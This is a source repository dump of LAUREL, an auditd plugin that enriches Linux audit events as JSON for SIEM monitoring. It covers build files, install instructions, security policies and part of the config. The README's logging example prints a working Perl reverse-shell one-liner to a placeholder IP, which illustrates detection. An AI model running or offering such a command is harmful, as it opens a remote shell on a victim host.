├── .cargo └── config.toml ├── .github ├── FUNDING.yml └── workflows │ ├── build.yml │ └── selinux.yml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── Containerfile ├── INSTALL.md ├── LICENSE ├── README.md ├── benches ├── Makefile └── coalesce_execve.rs ├── build.rs ├── contrib ├── debug │ ├── README.md │ └── run-debug.sh ├── performance-data │ ├── Makefile │ ├── auditbeat-7.12.dat │ ├── auditd-enriched.dat │ ├── auditd-raw.dat │ ├── go-audit-1.0.0.dat │ ├── laurel-0.1.3.dat │ ├── performance.gp │ ├── sysmon-1.0.0.dat │ └── sysmon-3f3e9820.dat └── selinux │ ├── .gitignore │ ├── Makefile │ ├── laurel.fc │ └── laurel.te ├── etc ├── apparmor │ └── laurel ├── audit │ └── plugins.d │ │ └── laurel.conf └── laurel │ └── config.toml ├── laurel.svg ├── man ├── .gitignore ├── Makefile ├── laurel-about.7.md ├── laurel-audit-rules.7.md ├── laurel.8.md └── laurel2audit.8.md ├── performance.md ├── performance.svg └── src ├── bin ├── laurel │ └── main.rs └── laurel2audit │ └── main.rs ├── coalesce.rs ├── config.rs ├── const.rs.in ├── constants.rs ├── json.rs ├── label_matcher.rs ├── lib.rs ├── logger.rs ├── proc.rs ├── procfs.rs ├── quote.rs ├── rotate.rs ├── sockaddr.h ├── sockaddr.rs ├── tbl ├── README.md ├── syscall │ ├── aarch64_table.h │ ├── arm_table.h │ ├── i386_table.h │ ├── ppc_table.h │ ├── riscv32_table.h │ ├── riscv64_table.h │ ├── s390_table.h │ ├── s390x_table.h │ └── x86_64_table.h └── uringop_table.h ├── test.rs ├── testdata ├── line-user-acct.txt ├── record-adjntpval.json ├── record-adjntpval.txt ├── record-anom-promiscuous.json ├── record-anom-promiscuous.txt ├── record-avc-apparmor.json ├── record-avc-apparmor.txt ├── record-bind-ipv4-bigendian.json ├── record-bind-ipv4-bigendian.txt ├── record-connect.txt ├── record-execve-long.json ├── record-execve-long.txt ├── record-execve.json ├── record-execve.txt ├── record-login.json ├── record-login.txt ├── record-nscd.json ├── record-nscd.txt ├── record-perl-reverse-shell.json ├── record-perl-reverse-shell.txt ├── record-ptrace.json ├── record-ptrace.txt ├── record-service-start.txt ├── record-syscall-key.json ├── record-syscall-key.txt ├── record-syscall-nullkey.json ├── record-syscall-nullkey.txt ├── record-uringop.json ├── record-uringop.txt ├── record-weblogic.json ├── record-weblogic.txt ├── shell-proc-trace-confusion.txt ├── shell-proc-trace-reordered.txt ├── shell-proc-trace.txt └── tree │ ├── 00.txt │ ├── 01.txt │ ├── 02.txt │ ├── 03.txt │ ├── 04.txt │ ├── 05.txt │ ├── 06.txt │ ├── 07.txt │ ├── 08.txt │ ├── 09.txt │ ├── 10.txt │ ├── 11.txt │ ├── 12.txt │ ├── 13.txt │ ├── 14.txt │ ├── 15.txt │ ├── 16.txt │ └── README.txt ├── types.rs └── userdb.rs /.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [target."aarch64-unknown-linux-gnu"] 2 | linker = "aarch64-linux-gnu-gcc" 3 | [target."armv7-unknown-linux-gnueabihf"] 4 | linker = "arm-linux-gnueabihf-gcc" 5 | 6 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: [hillu, disasmwinnie] 2 | -------------------------------------------------------------------------------- /.github/workflows/selinux.yml: -------------------------------------------------------------------------------- 1 | on: 2 | push: 3 | paths: 4 | - contrib/selinux/* 5 | - .github/workflows/selinux.yml 6 | pull_request: 7 | paths: 8 | - contrib/selinux/* 9 | - .github/workflows/selinux.yml 10 | 11 | jobs: 12 | build-el8: 13 | runs-on: ubuntu-latest 14 | container: rockylinux:8 15 | steps: 16 | - name: Prepare 17 | run: | 18 | dnf install -y selinux-policy-devel findutils 19 | - uses: actions/checkout@v2 20 | - name: Build 21 | run: | 22 | make -C contrib/selinux AUDITD_VERSIONS=3 23 | - name: Archive policy 24 | uses: actions/upload-artifact@v4 25 | with: 26 | name: selinux-el8 27 | path: contrib/selinux/laurel.pp 28 | 29 | build-el9: 30 | runs-on: ubuntu-latest 31 | container: rockylinux:9 32 | steps: 33 | - name: Prepare 34 | run: | 35 | dnf install -y selinux-policy-devel findutils 36 | - uses: actions/checkout@v2 37 | - name: Build 38 | run: | 39 | make -C contrib/selinux AUDITD_VERSIONS=3 40 | - name: Archive policy 41 | uses: actions/upload-artifact@v4 42 | with: 43 | name: selinux-el9 44 | path: contrib/selinux/laurel.pp 45 | 46 | build-al2023: 47 | runs-on: ubuntu-latest 48 | container: amazonlinux:2023 49 | steps: 50 | - name: Prepare 51 | run: | 52 | yum install -y selinux-policy-devel findutils tar 53 | - uses: actions/checkout@v2 54 | - name: Build 55 | run: | 56 | make -C contrib/selinux AUDITD_VERSIONS=3 57 | - name: Archive policy 58 | uses: actions/upload-artifact@v4 59 | with: 60 | name: selinux-al2023 61 | path: contrib/selinux/laurel.pp 62 | 63 | build-bookworm: 64 | runs-on: ubuntu-latest 65 | container: debian:bookworm-slim 66 | steps: 67 | - name: Prepare 68 | run: | 69 | apt-get -qqy update 70 | apt-get -qqy install selinux-policy-dev 71 | - uses: actions/checkout@v2 72 | - name: Build 73 | run: | 74 | make -C contrib/selinux AUDITD_VERSIONS=3 75 | - name: Archive policy 76 | uses: actions/upload-artifact@v4 77 | with: 78 | name: selinux-bookworm 79 | path: contrib/selinux/laurel.pp 80 | 81 | build-jammy: 82 | runs-on: ubuntu-latest 83 | container: ubuntu:jammy 84 | steps: 85 | - name: Prepare 86 | run: | 87 | apt-get -qqy update 88 | apt-get -qqy install selinux-policy-dev 89 | - uses: actions/checkout@v2 90 | - name: Build 91 | run: | 92 | make -C contrib/selinux AUDITD_VERSIONS=3 93 | - name: Archive policy 94 | uses: actions/upload-artifact@v4 95 | with: 96 | name: selinux-jammy 97 | path: contrib/selinux/laurel.pp 98 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | /target 3 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "laurel" 3 | version = "0.7.2" 4 | authors = ["Hilko Bengen ", 5 | "Sergej Schmidt "] 6 | edition = "2021" 7 | rust-version = "1.70" 8 | description = "Transform Linux Audit logs for SIEM usage" 9 | homepage = "https://github.com/threathunters-io/laurel" 10 | repository = "https://github.com/threathunters-io/laurel" 11 | license = "GPL-3.0-or-later" 12 | keywords = ["linux", "audit", "parser", "log", "json"] 13 | categories = ["encoding"] 14 | 15 | [badges] 16 | maintenance = { status = "actively-developed" } 17 | 18 | [dependencies] 19 | lazy_static = "1" 20 | getopts = "0.2" 21 | serde = { version = "1", features = ["derive"] } 22 | serde_json = { version = "1", features = ["preserve_order"] } 23 | indexmap = { version = "2", features = ["serde"] } 24 | toml = ">= 0.5" 25 | nix = { version = ">= 0.26", features = ["user", "fs", "time", "process", "signal"]} 26 | libc = "0.2" 27 | exacl = ">= 0.6" 28 | regex = "1" 29 | signal-hook = "0.3" 30 | tinyvec = { version = "1", features = ["alloc", "serde"] } 31 | 32 | log = "0.4" 33 | simple_logger = ">= 1" 34 | syslog = "7" 35 | thiserror = "2" 36 | anyhow = "1" 37 | faster-hex = ">= 0.9" 38 | linux-audit-parser = "0.2.6" 39 | serde_with = { version = "3", default-features = false, features = ["macros"] } 40 | serde_bytes = "0.11.15" 41 | ipnetwork = "0.21.1" 42 | 43 | [target.'cfg(target_os = "linux")'.dependencies] 44 | caps = "0.5" 45 | 46 | [build-dependencies] 47 | bindgen = ">= 0.60" 48 | 49 | [dev-dependencies] 50 | divan = "0.1.13" 51 | gperftools = "0" 52 | 53 | [features] 54 | procfs = [] 55 | default = ["procfs"] 56 | 57 | [[bench]] 58 | name = "coalesce_execve" 59 | harness = false 60 | -------------------------------------------------------------------------------- /Containerfile: -------------------------------------------------------------------------------- 1 | FROM gcr.io/distroless/static-debian12 2 | 3 | COPY --chmod=0755 target/x86_64-alpine-linux-musl/release/laurel /usr/bin/laurel 4 | COPY etc/laurel/config.toml /etc/laurel/config.toml 5 | 6 | ENTRYPOINT ["/usr/bin/laurel"] 7 | CMD ["--config", "/etc/laurel/config.toml"] 8 | -------------------------------------------------------------------------------- /INSTALL.md: -------------------------------------------------------------------------------- 1 | # _LAUREL_ installation instructions 2 | 3 | ## Either build from source… 4 | 5 | _LAUREL_ is written in Rust. To build it, a reasonably recent Rust compiler is required, we currently use 1.56 for development. Also: 6 | - `cargo` 7 | - `clang` 8 | - the `libacl` library and its header files (Debian: `libacl1-dev`, RedHat: `libacl-devel`, Alpine: `acl-dev`) 9 | 10 | Build binary, install: 11 | ``` console 12 | $ cargo build --release 13 | $ sudo install -m755 target/release/laurel /usr/local/sbin/laurel 14 | ``` 15 | If the environment variable `LAUREL_BUILD_ID` is set at build time, it is output after the version number. 16 | 17 | ## …or use one of the provided binaries 18 | 19 | For tagged releases, two types of binaries are created: 20 | 21 | - a statically-linked, [musl-libc](https://musl.libc.org) version, built on Alpine 3.16, 22 | - a dynamically-linked version based on an older version of GNU libc, built on CentOS 7. 23 | 24 | The static build lacks the ability to perform user and group lookups using the _nsswitch_ facility used on GNU-libc-based systems, therefore it should be avoided on systems where other user/group databases than local `/etc/passwd` and `/etc/group` files are used (cf. issue #84). 25 | 26 | The provided binaries are built using Github's CI mechanism. See `.github/workflows/` for details. 27 | 28 | Extract binary, install: 29 | ``` console 30 | $ tar xzf laurel-$FLAVOR.tar.gz laurel 31 | $ sudo install -m755 laurel /usr/local/sbin/laurel 32 | ``` 33 | 34 | ## Set up _auditd_ to use _LAUREL_ and configure _LAUREL_ itself 35 | 36 | - Create a dedicated user, e.g.: 37 | ``` console 38 | $ sudo useradd --system --home-dir /var/log/laurel --create-home _laurel 39 | ``` 40 | - Configure _LAUREL_: Copy the provided annotated [example](etc/laurel/config.toml) to `/etc/laurel/config.toml` and customize it. 41 | - Register _LAUREL_ as an _auditd_ plugin: Depending on your _auditd_ version, copy the provided [example](etc/audit/plugins.d/laurel.conf) to 42 | - `/etc/audit/plugins.d/laurel.conf` for _auditd_ 3 43 | - `/etc/audisp/plugins.d/laurel.conf` for _auditd_ 2 44 | - If you are running SELinux, compile the provided policy and install it into the running kernel: 45 | ``` console 46 | $ make -C contrib/selinux 47 | $ sudo semodule -i contrib/selinux/laurel.pp 48 | $ sudo restorecon -v -R -F /usr/local/sbin/laurel /etc/laurel /var/log/laurel /etc/audit/plugins.d/laurel.conf 49 | ``` 50 | - Tell _auditd(8)_ to re-evaluate its configuration: 51 | ``` console 52 | $ sudo pkill -HUP auditd 53 | ``` 54 | - Check that _LAUREL_ running. On _systemd_-enabled systems, the _LAUREL_ binary should be part of the control group corresponding to the _auditd_ service: 55 | ``` console 56 | $ sudo systemctl status auditd.service 57 | […] 58 | CGroup: /system.slice/auditd.service 59 | ├─ 277780 /sbin/auditd 60 | └─1113756 /usr/local/sbin/laurel --config /etc/laurel/config.toml 61 | […] 62 | ``` 63 | 64 | ## Test, Debug 65 | 66 | For debugging and other testing purposes, _LAUREL_ can be run without specifying any configuration file. It will then not change users and read events from standard input, just as it would when called from _auditd_. Log entries are written to `audit.log` in the current working directory. 67 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![logo](laurel.svg) 2 | # Linux Audit – Usable, Robust, Easy Logging 3 | 4 | [![Build Status](https://github.com/threathunters-io/laurel/actions/workflows/build.yml/badge.svg)](https://github.com/threathunters-io/laurel/actions/workflows/build.yml) 5 | 6 | LAUREL is an event post-processing plugin for _auditd(8)_ that generates useful, enriched JSON-based audit logs suitable for modern security monitoring setups. 7 | 8 | Documentation corresponding to the latest stable release can be found [here](https://github.com/threathunters-io/laurel/tree/v0.7.2). 9 | 10 | ## Why? 11 | 12 | TLDR: Instead of audit events that look like this… 13 | ``` 14 | type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742… 15 | ``` 16 | …_LAUREL_ turns them into JSON logs where the mess that attackers/penetration testers/red teamers are trying to make becomes apparent at first glance: 17 | ``` 18 | { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …} 19 | ``` 20 | This happens at the source because _LAUREL_ runs on the host where the audit events are generated. Events are enriched with useful information about the parent process (ppid): 21 | ``` 22 | "PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631} 23 | ``` 24 | 25 | ## Documentation 26 | 27 | Configuration and operational details are described in the [laurel(8)](man/laurel.8.md) manual page. 28 | Details about the log format and rationales can be found in the [laurel-about(7)](man/laurel-about.7.md) manual page. The [laurel-audit-rules(7)](man/laurel-audit-rules.7.md) page contains advice and examples for configuring audit rules useful for detecting attackers' tactics. 29 | 30 | The [_LAUREL_ installation instructions](INSTALL.md) contain instructions on how to build _LAUREL_ from source and how to install and configure it. 31 | 32 | We developed _LAUREL_ because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to the [Performance](performance.md) document for details. 33 | 34 | ## See also 35 | 36 | - [ansible-auditd-laurel](https://github.com/certeu/ansible-auditd-laurel/), an Ansible role to deploy _auditd_ + _laurel_, by @0xFustang / CERT-EU 37 | 38 | ## License 39 | 40 | GNU General Public License, version 3 41 | 42 | ## Authors 43 | 44 | - Hilko Bengen <> 45 | - Sergej Schmidt <> 46 | 47 | The logo was created by Birgit Meyer <>. 48 | -------------------------------------------------------------------------------- /benches/Makefile: -------------------------------------------------------------------------------- 1 | # Generate benchmark flamegraph like this: 2 | # 3 | # $ make -f benches/Makefile binary=./target/release/deps/coalesce_execve-76764715a5348906 4 | 5 | binary ?= $(error "Set binary variable") 6 | FG_DIR ?= ~/src/flamegraph 7 | 8 | .PHONY: all 9 | all: $(binary).svg 10 | 11 | .PHONY: clean 12 | clean: 13 | rm -f $(binary).prof $(binary).stacks $(binary).svg 14 | 15 | .PHONY: view 16 | view: $(binary).svg 17 | firefox $^ 18 | 19 | %.svg: %.stacks 20 | $(FG_DIR)/flamegraph.pl < $^ > $@.t 21 | mv $@.t $@ 22 | 23 | %.prof: % 24 | $< 25 | 26 | %.stacks: % %.prof 27 | google-pprof --collapsed $^ > $@.t 28 | mv $@.t $@ 29 | -------------------------------------------------------------------------------- /benches/coalesce_execve.rs: -------------------------------------------------------------------------------- 1 | use gperftools::profiler::PROFILER; 2 | 3 | use laurel::coalesce::Coalesce; 4 | 5 | #[divan::bench(args = [false, true])] 6 | fn coalesce(serialize: bool) { 7 | let mut c = if serialize { 8 | Coalesce::new(|msg| serde_json::to_writer(std::io::sink(), &msg).unwrap()) 9 | } else { 10 | Coalesce::new(|_| {}) 11 | }; 12 | 13 | let ppid = std::process::id(); 14 | c.settings.translate_universal = true; 15 | c.settings.translate_userdb = true; 16 | c.settings.enrich_script = false; 17 | 18 | for i in 0..1000 { 19 | let pid = ppid + 100000 + i; 20 | let ms = (i / 1000) % 1000; 21 | let seq = i % 1000; 22 | for line in &[ 23 | format!( 24 | r#"node=asdfghjk type=SYSCALL msg=audit(1615114232.{ms:03}:{seq:03}): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid={ppid} pid={pid} auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=1 comm="true" exe="/bin/true" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user" 25 | "#, 26 | ), 27 | format!( 28 | r#"node=asdfghjk type=EXECVE msg=audit(1615114232.{ms:03}:{seq:03}): argc=1 a0="true" 29 | "#, 30 | ), 31 | format!( 32 | r#"node=asdfghjk type=CWD msg=audit(1615114232.{ms:03}:{seq:03}): cwd="/home/user/tmp" 33 | "#, 34 | ), 35 | format!( 36 | r#"node=asdfghjk type=PATH msg=audit(1615114232.{ms:03}:{seq:03}): item=0 name="/bin/true" inode=261214 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" 37 | "#, 38 | ), 39 | format!( 40 | r#"node=asdfghjk type=PATH msg=audit(1615114232.{ms:03}:{seq:03}): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" 41 | "#, 42 | ), 43 | format!( 44 | r#"node=asdfghjk type=PROCTITLE msg=audit(1615114232.{ms:03}:{seq:03}): proctitle="true" 45 | "#, 46 | ), 47 | format!( 48 | r#"node=asdfghjk type=EOE msg=audit(1615114232.{ms:03}:{seq:03}): 49 | "#, 50 | ), 51 | ] { 52 | c.process_line(line.as_bytes()).unwrap(); 53 | } 54 | } 55 | } 56 | 57 | fn main() { 58 | laurel::constants::initialize(); 59 | PROFILER 60 | .lock() 61 | .unwrap() 62 | .start(format!("{}.prof", std::env::args().next().unwrap())) 63 | .unwrap(); 64 | divan::main(); 65 | PROFILER.lock().unwrap().stop().unwrap(); 66 | } 67 | -------------------------------------------------------------------------------- /build.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | use std::fs; 3 | use std::io::prelude::*; 4 | use std::io::BufReader; 5 | use std::path::Path; 6 | use std::string::String; 7 | 8 | extern crate bindgen; 9 | 10 | fn gen_syscall() -> Result> { 11 | let mut buf = String::new(); 12 | for entry in Path::new("src/tbl/syscall").read_dir()? { 13 | let p = entry?.path(); 14 | let filename = if let Some(f) = p.file_name() { 15 | f 16 | } else { 17 | continue; 18 | }; 19 | let arch = if let Some(a) = filename 20 | .to_string_lossy() 21 | .into_owned() 22 | .strip_suffix("_table.h") 23 | { 24 | a.to_string() 25 | } else { 26 | continue; 27 | }; 28 | buf.push_str("{ let mut t = HashMap::new(); for (num, name) in &["); 29 | 30 | // Entries look like 31 | // _S(0, "io_setup") 32 | // Just get rid of the _S. 33 | let defs = BufReader::new(fs::File::open(p)?) 34 | .lines() 35 | .filter(|line| line.as_ref().unwrap().starts_with("_S(")) 36 | .map(|line| line.unwrap()) 37 | .map(|line| line.strip_prefix("_S").unwrap().to_string()); 38 | for def in defs { 39 | buf.push_str(def.as_str()); 40 | buf.push(','); 41 | } 42 | buf.push_str("] { t.insert(*num, *name); } "); 43 | buf.push_str(format!(" hm.insert(\"{arch}\", t); }}\n").as_str()); 44 | } 45 | Ok(buf) 46 | } 47 | 48 | fn gen_uring_ops() -> Result> { 49 | let mut buf = String::new(); 50 | let mut defs: Vec> = (0..64).map(|_| None).collect(); 51 | for (k, v) in BufReader::new(fs::File::open("src/tbl/uringop_table.h")?) 52 | .lines() 53 | .map(|line| line.unwrap()) 54 | .filter_map(|line| line.strip_prefix("_S(").map(String::from)) 55 | .filter_map(|line| line.strip_suffix(')').map(String::from)) 56 | .filter_map(|line| { 57 | line.as_str().split_once(',').map(|(k, v)| { 58 | ( 59 | k.trim().to_string(), 60 | v.trim_matches(|c: char| c.is_whitespace() || c == '"') 61 | .to_string(), 62 | ) 63 | }) 64 | }) 65 | { 66 | let num: usize = k.parse()?; 67 | defs[num] = Some(v); 68 | } 69 | for def in defs { 70 | let frag = match def { 71 | Some(s) => format!(r#"Some(b"{s}"), "#), 72 | None => "None, ".to_string(), 73 | }; 74 | buf.push_str(&frag); 75 | } 76 | Ok(buf) 77 | } 78 | 79 | fn main() -> Result<(), Box> { 80 | let out_dir = env::var_os("OUT_DIR").unwrap(); 81 | let dest_path = Path::new(&out_dir).join("const.rs"); 82 | 83 | let mut template = Vec::new(); 84 | fs::File::open("src/const.rs.in")?.read_to_end(&mut template)?; 85 | let template = String::from_utf8(template)?; 86 | 87 | let buf = template 88 | .replace("/* @SYSCALL_BUILD@ */", &gen_syscall()?) 89 | .replace("/* @URING_OPS@ */", &gen_uring_ops()?) 90 | .into_bytes(); 91 | 92 | fs::write(dest_path, buf)?; 93 | 94 | #[cfg(target_os = "linux")] 95 | bindgen::Builder::default() 96 | .header("src/sockaddr.h") 97 | .allowlist_type("^sockaddr_.*") 98 | .allowlist_var("^AF_.*") 99 | .layout_tests(false) 100 | .generate() 101 | .expect("unable to generate bindings") 102 | .write_to_file(std::path::PathBuf::from(env::var("OUT_DIR").unwrap()).join("sockaddr.rs")) 103 | .expect("Couldn't write bindings!"); 104 | 105 | println!("cargo:rerun-if-changed=build.rs"); 106 | println!("cargo:rerun-if-changed=const.rs.in"); 107 | #[cfg(target_os = "linux")] 108 | println!("cargo:rerun-if-changed=src/sockaddr.h"); 109 | 110 | Ok(()) 111 | } 112 | -------------------------------------------------------------------------------- /contrib/debug/README.md: -------------------------------------------------------------------------------- 1 | # Debugging Laurel (even in production) 2 | 3 | The `run-debug.sh` script in this directory is intended to be run from 4 | the project root dir by a regular user with sudo privileges. 5 | 6 | It runs a _laurel_ debug build with a custom configuration. The 7 | configuration is built from a template. If the template contained in 8 | the script is not good enough, place your own template into 9 | `contrib/debug/config.toml.template`. 10 | 11 | Audit log data is read from a local socket `/var/run/audispd_events`. 12 | The _auditd_ `af_unix` plugin has to be enabled for this to work. Edit 13 | the configuration file `/etc/audit/plugins.d/af_unix.conf`: 14 | 15 | ``` 16 | active = yes 17 | direction = out 18 | path = builtin_af_unix 19 | type = builtin 20 | args = 0644 /var/run/audispd_events 21 | format = string 22 | ``` 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /contrib/debug/run-debug.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -eu 4 | 5 | readonly AUDISPD_EVENTS=/var/run/audispd_events 6 | USER=$(id -un) 7 | 8 | if ! [ -S "$AUDISPD_EVENTS" ]; then 9 | echo "Please enable the af_unix plugin (/etc/audit/plugins.d/af_unix.conf" >&2 10 | exit 1 11 | fi 12 | 13 | config=$(mktemp -t laurel-config.toml.XXXXXXXXXX) 14 | trap 'rm -f $config' EXIT 15 | 16 | sedexpr="s,%USER%,$USER,g; s,%AUDISPD_EVENTS%,$AUDISPD_EVENTS,g" 17 | dir=$(dirname "$0") 18 | 19 | if [ -e "$dir/config.toml.template" ]; then 20 | echo "Writing $dir/config.toml.template to $config..." 21 | sed "$sedexpr" > "$config" < "$dir/config.toml.template" 22 | else 23 | echo "Writing internal default template to $config..." 24 | sed "$sedexpr" > "$config" < laurel 15 | ifdef(`audit3',` 16 | gen_require(`type auditd_t;') 17 | 18 | allow auditd_t laurel_exec_t:file { getattr open read execute entrypoint }; 19 | type_transition auditd_t laurel_exec_t:process laurel_t; 20 | allow auditd_t auditd_t:capability kill; 21 | allow auditd_t laurel_t:process { transition signal }; 22 | ') 23 | 24 | # Transition audispd (auditd 2.x) -> laurel 25 | ifdef(`audit2',` 26 | gen_require(`type audisp_t;') 27 | 28 | allow audisp_t laurel_exec_t:file { getattr open read execute entrypoint }; 29 | type_transition audisp_t laurel_exec_t:process laurel_t; 30 | allow audisp_t audisp_t:capability kill; 31 | allow audisp_t laurel_t:process { transition signal }; 32 | ') 33 | 34 | # Set / retain capabilities 35 | allow laurel_t self:process { getcap setcap }; 36 | # Re-exec on SIGHUP 37 | allow laurel_t laurel_exec_t:file execute_no_trans; 38 | # Set permissions at initialization time 39 | allow laurel_t self:capability { chown fowner fsetid setuid setgid }; 40 | # Inspect process environments, override UNIX read permissions 41 | allow laurel_t self:{ capability cap_userns } { sys_ptrace dac_read_search }; 42 | 43 | # Write to Syslog 44 | logging_send_syslog_msg(laurel_t) 45 | 46 | # Read from /proc 47 | domain_read_all_domains_state(laurel_t) 48 | list_dirs_pattern(laurel_t, proc_t, proc_t); 49 | 50 | # stat() for every file (for enrich.script) 51 | files_getattr_all_files(laurel_t) 52 | 53 | # Access local user database 54 | ifdef(`distro_debian',` 55 | gen_require(`type etc_t;') 56 | allow laurel_t etc_t:file { open read }; 57 | ifdef(`systemd_stream_connect_userdb',` 58 | systemd_stream_connect_userdb(laurel_t) 59 | ') 60 | ifdef(`systemd_connect_machined',` 61 | systemd_connect_machined(laurel_t) 62 | ') 63 | ') 64 | 65 | ifdef(`distro_redhat',` 66 | gen_require(`type passwd_file_t;') 67 | allow laurel_t passwd_file_t:file { open read }; 68 | ifdef(`systemd_userdbd_stream_connect',` 69 | systemd_userdbd_stream_connect(laurel_t) 70 | ') 71 | ifdef(`systemd_machined_stream_connect',` 72 | systemd_machined_stream_connect(laurel_t) 73 | ') 74 | ') 75 | 76 | # Access user database via SSSD 77 | sssd_read_public_files(laurel_t) 78 | sssd_stream_connect(laurel_t) 79 | 80 | # Use nscd for name lookups 81 | nscd_use(laurel_t) 82 | 83 | # Read config files 84 | read_files_pattern(laurel_t, laurel_etc_t, laurel_etc_t) 85 | 86 | # Write/rotate log files 87 | manage_dirs_pattern(laurel_t, laurel_log_t, laurel_log_t) 88 | manage_files_pattern(laurel_t, laurel_log_t, laurel_log_t) 89 | manage_lnk_files_pattern(laurel_t, laurel_log_t, laurel_log_t) 90 | setattr_files_pattern(laurel_t, laurel_log_t, laurel_log_t) 91 | 92 | # Mark config, log files 93 | files_config_file(laurel_etc_t) 94 | logging_log_file(laurel_log_t) 95 | 96 | # Create log directory with specified label 97 | logging_log_filetrans(laurel_t, laurel_log_t, dir) 98 | -------------------------------------------------------------------------------- /etc/apparmor/laurel: -------------------------------------------------------------------------------- 1 | # -*- apparmor -*- 2 | 3 | abi , 4 | 5 | include 6 | 7 | profile laurel /usr/sbin/laurel flags=(attach_disconnected, complain) { 8 | include 9 | include 10 | 11 | capability chown, 12 | capability dac_read_search, 13 | capability fowner, 14 | capability fsetid, 15 | capability setgid, 16 | capability setpcap, 17 | capability setuid, 18 | 19 | # connect to local services for name lookups etc. 20 | network unix stream, 21 | 22 | # Access various information in /proc/$PID/ 23 | ptrace read, 24 | capability sys_ptrace, 25 | @{PROC}/ r, 26 | @{PROC}/@{pid}/cgroup r, 27 | @{PROC}/@{pid}/comm r, 28 | @{PROC}/@{pid}/environ r, 29 | @{PROC}/@{pid}/stat r, 30 | 31 | # Re-exec 32 | /usr/sbin/laurel mrix, 33 | 34 | signal receive set=(term,hup,int,kill), 35 | 36 | # Configuration and log files 37 | /etc/laurel/config.toml r, 38 | /var/log/laurel/ rw, 39 | owner /var/log/laurel/* rw, 40 | 41 | # Workarounds for suspected Ubuntu / Azure AD issues 42 | @{run}/samba/winbindd/pipe rw, 43 | /etc/aadpasswd r, 44 | include if exists 45 | 46 | 47 | include if exists 48 | } 49 | -------------------------------------------------------------------------------- /etc/audit/plugins.d/laurel.conf: -------------------------------------------------------------------------------- 1 | active = yes 2 | direction = out 3 | type = always 4 | format = string 5 | path = /usr/local/sbin/laurel 6 | args = --config /etc/laurel/config.toml 7 | -------------------------------------------------------------------------------- /etc/laurel/config.toml: -------------------------------------------------------------------------------- 1 | # Write log files relative to this directory 2 | directory = "/var/log/laurel" 3 | # Drop privileges from root to this user 4 | user = "_laurel" 5 | # The periodical time window in seconds for status information to be printed to Syslog. 6 | # Status report includes the running version, config and parsing stats. 7 | # Default is 0 --> no status reports. 8 | statusreport-period = 0 9 | # By default, audit events are read from stdin ("stdin"). Alternatively, they 10 | # can be consumed from an existing UNIX domain socket ("unix:/path/to/socket") 11 | input = "stdin" 12 | 13 | # A string that is written to the log on startup and 14 | # whenever Laurel writes a status report. 15 | # marker = "correct-horse-battery-staple" 16 | 17 | [auditlog] 18 | # Base file name for the JSONL-based log file. Set to "-" to log to stdout. You can set 19 | # it to send the stdout directly to another script or process by specifying that script 20 | # or process, preceeded with a pipe. ex. "| /usr/local/script.sh" 21 | # In these cases other log file related settings will be ignored. 22 | file = "audit.log" 23 | # Rotate when log file reaches this size (in bytes) 24 | size = 5000000 25 | # When rotating, keep this number of generations around 26 | generations = 10 27 | # Grant read permissions on the log files to these users, using 28 | # POSIX ACLs 29 | # read-users = [ "splunk" ] 30 | 31 | # Add a prefix to every output line. The CEE cookie can be used to 32 | # instruct consumers to parse the JSON document, cf. 33 | # https://www.rsyslog.com/doc/master/configuration/modules/mmjsonparse.html 34 | # line-prefix = "@cee: " 35 | 36 | # [debug] 37 | 38 | # [debug.parse-error-log] 39 | # file = "parse-error.log" 40 | # size = 1000000 41 | # generations = 3 42 | 43 | # [filterlog] 44 | # # If filter.filter-action is set to "log", filtered events are 45 | # # written to this log. It is configured just like [auditlog]. 46 | # file = "filtered.log" 47 | # size = 1000000 48 | # generations = 3 49 | # read-users = [ "splunk" ] 50 | 51 | [state] 52 | # Filename for the state file. Set to empty string to disable keeping 53 | # state on disk. 54 | file = "state" 55 | # Number of generations of the state file to keep for debugging 56 | # purposes 57 | generations = 0 58 | # Number of seconds after which the state file is considered stale. 59 | max-age = 60 60 | 61 | [transform] 62 | 63 | # "array" (the default) causes EXECVE a0, a1, a2 … arguments to be 64 | # output as a list of strings, "ARGV". This is the default, it allows 65 | # analysts to reliably reproduce what was executed. 66 | # 67 | # "string" causes arguments to be concatenated into a single string, 68 | # separated by space characters, "ARGV_STR". This form allows for 69 | # easier grepping, but it is impossible to tell if space characters in 70 | # the resulting string are a separator or were part of an individual 71 | # argument in the original command line. 72 | 73 | execve-argv = [ "array" ] 74 | 75 | # execve-argv = [ "array", "string" ] 76 | 77 | # Trim excessively long EXECVE.ARGV and 